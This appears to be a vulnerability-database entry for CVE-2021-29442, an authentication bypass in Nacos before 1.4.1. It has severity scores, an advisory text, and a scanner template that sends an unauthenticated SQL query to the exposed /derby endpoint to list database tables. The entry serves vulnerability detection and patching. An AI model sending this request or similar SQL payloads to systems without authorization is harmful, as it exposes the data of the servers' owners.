5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
8.6 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
8.8 High
AI Score
Confidence
High
0.968 High
EPSS
Percentile
99.7%
Nacos before version 1.4.1 is vulnerable to authentication bypass because the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql).
id: CVE-2021-29442
info:
name: Nacos <1.4.1 - Authentication Bypass
author: dwisiswant0
severity: high
description: |
Nacos before version 1.4.1 is vulnerable to authentication bypass because the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql).
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data and potential compromise of the Nacos server.
remediation: |
Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29442).
reference:
- https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
- https://github.com/alibaba/nacos/issues/4463
- https://github.com/alibaba/nacos/pull/4517
- https://github.com/advisories/GHSA-36hp-jr8h-556f
- https://nvd.nist.gov/vuln/detail/CVE-2021-29442
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-29442
cwe-id: CWE-306
epss-score: 0.96724
epss-percentile: 0.99657
cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: alibaba
product: nacos
tags: cve2021,cve,nacos,auth-bypass,alibaba
http:
- method: GET
path:
- "{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/json"
- type: regex
part: body
regex:
- "\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\""
- type: status
status:
- 200
# digest: 4b0a00483046022100933d70648ac935124b95ffd3d56d1ca89821b2fb5c84c56da904f8ad6c8fca5a022100a8c80f357967fc19263cdb8871ac15642d1d38adfd01683c4a7b823d24cf85e1:922c64590222798bb761d5b6d8e72950
5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
8.6 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
8.8 High
AI Score
Confidence
High
0.968 High
EPSS
Percentile
99.7%